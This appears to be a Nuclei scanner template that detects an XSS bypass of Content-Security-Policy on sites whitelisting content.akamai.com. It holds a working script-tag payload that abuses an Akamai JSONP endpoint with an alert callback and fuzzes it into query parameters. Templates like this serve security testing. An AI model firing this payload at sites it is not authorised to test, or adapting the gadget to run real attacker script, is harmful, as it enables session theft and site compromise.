akamai-content-csp-bypass: Content-Security-Policy Bypass - Akamai Content

id: akamai-content-csp-bypass

info:
  name: Content-Security-Policy Bypass - Akamai Content
  author: renniepak,DhiyaneshDK
  severity: medium
  reference:
    - https://github.com/renniepak/CSPBypass/blob/main/data.tsv
  metadata:
    verified: true
  tags: xss,csp-bypass,akamai-content,vuln

flow: http(1) && headless(1)

http:
  - method: GET
    path:
      - "{{BaseURL}}"

    matchers:
      - type: word
        part: header
        words:
          - "Content-Security-Policy"
          - "akamai.com"
        condition: and
        internal: true

headless:
  - steps:
      - action: navigate
        args:
          url: "{{BaseURL}}"

      - action: waitdialog
        name: akamai_content_csp_xss
        args:
          max-duration: 5s

    payloads:
      injection:
        - '<script src="https://content.akamai.com/index.php/form/getForm?munchkinId=113-DTN-266&form=1402&callback=alert"></script>'

    fuzzing:
      - part: query
        type: replace
        mode: single
        fuzz:
          - "{{url_encode(injection)}}"

    matchers:
      - type: dsl
        dsl:
          - "akamai_content_csp_xss == true"
# digest: 490a0046304402204eaef65480fae7b349d94f84b2f0f4048e2254364c98c6dc8c3eaa17664a06000220154fec4dc623c823e73f2915b076b477da8382cea237514d7d5070ed035a589f:922c64590222798bb761d5b6d8e72950